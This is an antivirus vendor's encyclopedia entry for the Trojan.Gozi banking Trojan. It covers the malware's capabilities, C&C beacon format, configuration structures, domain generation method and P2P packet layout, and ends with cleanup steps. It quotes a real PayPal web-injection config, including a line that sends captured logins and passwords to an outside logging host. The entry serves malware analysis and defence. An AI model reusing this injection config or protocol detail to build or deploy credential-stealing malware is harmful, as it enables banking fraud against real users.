Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Trojan.Gozi

Added to the Dr.Web virus database: 2016-03-18

Virus description added:

Trojan.Gozi

sha1 (p2p version)0fb30e03f71f0a20340ca0cb634e6250c14a1109
sha1 installer1720115a8a646f4a0a3741cec7266b82ff065a7e
sha1 client.dll x320690ef42ff894dd85be873b4d95183a1af5f9a72
sha1 client.dll x642d9cb08d9f4ed28c55a93355c7e5ae39b1f43488
sha1 vnc32 3bb13d9d4b4eaabb314d90d294119d2f982736ac
sha1 vnc64 17930b20f98ac7e92d28598901710254f1cf6315

A modified version of a well-known banking Trojan that is able to create P2P botnet. It can execute the following functions:

  • Steals login credentials from web data forms (formgrabbing)
  • Loggs keystrokes on the infected computer (keylogging)
  • Injects arbitrary content into webpages loaded in browser windows (web injections)
  • Uses Virtual Network Computing (VNC) in order to get remote access to the computer’s desktop
  • Runs the SOCKS proxy server upon a command
  • Downloads and installs plug-ins

To transmit information, the Trojan uses HTTP protocol. Information is encrypted in the GET request that looks as follows:

http://made****h.pw/images/EYI/uE4P5lkUATTfrO/L4Iv7VEvWWlYBM9qKuE67ixOoebU1ef9HHS7Xvwhns0o
bfoegeauxh8PajwSUrNkSFTtqnU/Fy/MyNURytngSxc_2FYvcf9O
98PFCv2bBHEE//jMiPVxyqqgQ/f_2/FBgMUnmhszPJ5_2BuSA.gif

After decryption, the following line is obtained:

jkwerhw=sdalfwewesd3&server=12&crc=7b033&version=214721&user=55deba95d542febda
b0e1570986cdaf0&soft=1&id=1045

Where:
server, id—retrieved from the Trojan’s configuration;
user—unique bot identifier;
crc—the crc32 function is used for configuration (if this function is missing, the value is obtained using the GetTickCount function).

The Trojan sends requests to various types of scripts:

  • .jpeg—request for web injection configuration;
  • .gif—request for a personal task;
  • .bmp—sending logs to the server; data is transmitted as multipart/form-data.

The server’s response is encrypted with the RSA+Serpent+XOR algorithms. If the message contains information about web injections, they are compressed with aplib. Such-like messages consist of separate blocks:

struct block_t
{
    DWORD size;
    BYTE data[size]; //a line with a zero character in the end
}

An example of a web injection into the PayPal webpage:

*paypal.*
id="js_transactionCollection"
id="js_transactionCollection" style="visibility:hidden"
...
Order
*paypal.com/*/cgi-bin/merchantpaymentweb*
PROCESS
check.unitssl.com/log.php?action=log&text=pp;l=@login@;p=@pass@&botid=@ID@
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_email
login
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_password
pass

The last section of the executable file is used to store information on the Trojan’s configuration directory:

2E 72 65 6C-6F 63 00 00-00 30 00 00-00 10 02 00  .reloc   0   ►☻
00 26 00 00-00 D8 01 00-00 00 00 00-00 00 00 00   &   ╪☺
00 00 00 00-40 00 00 40-00 00 00 00-00 00 00 00      @  @
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
4A 31 00 00-00 32 02 00-84 00 00 00-64 5E 28 E1  J1   2☻ Д   d^(с
00 01 01 00-4A 31 00 00-00 34 02 00-81 01 00 00   ☺☺ J1   4☻ Б☺
CB AF 22 D7-00 20 01 00-00 00 00 00-00 00 00 00  ╦п"╫  ☺
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

This section can be found by the 0x314a value and looks as follows:

struct config_block_t
{
  WORD magic;
  WORD numHashes; 
  DWORD pos; //rva of the configuration
  DWORD size; //size
  DWORD id; //configuration ID
  DWORD flag; //0x10000—aplib compression
  DWORD hashes[numHashes];
};

If the relevant flag is set, all retrieved data is unpacked with aplib. This data together with associated parameters looks as follows:

{"GROUP": "1045", "1481529637": "10", "SENDTIMEOUT": "200", "BCTIMEOUT": "10",
"CONFIGFAILTIMEOUT": "200", "TASKTIMEOUT": "200", "DGA_SEED": "1", "HOSTS": "127.0.0.1",
"SERVERKEY": "87654321POIUYTRE", "SERVER": "12", "KNOCKERTIMEOUT": "200",
"CONFIGTIMEOUT": "200", "287775871": "1"}

Where:

GROUP - id, SERVER—server in the request; 
DGA_SEED—DGA initialization constant;
SERVERKEY—key for serpent;
HOSTS—list of C&C servers with spaces.

Trojan.Gozi employs domain generation algorithm (DGA). To do this, the Trojan downloads a text file from the NASA server:

http://nssdc.gsfc.nasa.gov/planetary/text/pioneer-11_endops.txt

Using words containing in the text file, the Trojan calculates the current date, which allows it to generate a domain name of the C&C server, employing a special algorithm. Every 15 days, the Trojan automatically changes its control server address. All the transferred information is encrypted.

To generate P2P botnet, a kademlia-based protocol is used. UDP packets are encrypted with RC4 and have the following structure:

struct kad_t
{
    BYTE flag; //random value, except two lowest bits, 0 bit - a packet encrypted with sendKey, 1 bit - (1) a packet encrypted with sendKey=0 or (0) sendKey=nid1^nid2^nid3^nid4
    DWORD rndKey; //random component of the key
    kad_transport_t transport; //encrypted
    kad_head_t head; // encrypted
    BYTE data[]; // encrypted
}
 
struct kad_transport_t
{
    DWORD magic; //the 0x395F2EC1 value
    DWORD sendKey; //random value used to encrypt responses
    DWORD recvKey;
}
 
struct kad_head_t
{
    BYTE opType; //0xe4 - UDP KAD
    BYTE op; //commands of the protocol
    WORD size; //length of kad_t.data
};

Received and downloaded files are stored at:

%APPDATA%\\Microsoft\\{%08X-%04X-%04X-%04X-%08X%04X}\<md5hashOfName>

News about the Trojan

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android